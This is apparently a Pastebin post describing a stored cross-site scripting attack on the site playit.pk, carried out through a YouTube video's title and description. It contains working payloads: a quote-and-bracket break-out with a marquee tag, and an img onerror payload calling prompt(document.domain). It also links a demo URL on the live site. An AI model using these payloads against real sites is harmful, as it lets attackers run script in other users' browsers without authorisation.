Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- The challenge was to generate a document.domain alert/prompt :)) [STORED XSS]
- So First I registered in YouTube - As you guys know that YouTube doesn't accepts brackets >< in the video title so i used html entities instead so ~
- " == "
- > == >
- < == <
- so basically i used "><marquee>XSS-ed by AnonGuy ;)</marquee> as the title
- and this as the description "><img src=x onerror=prompt(document.domain);>
- then i fetched the video from playit which resulted in a document.domain prompt
- Demo ~ http://playit.pk/search?q=61Uvw4KPv8c
- ~ AnonGuy :))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement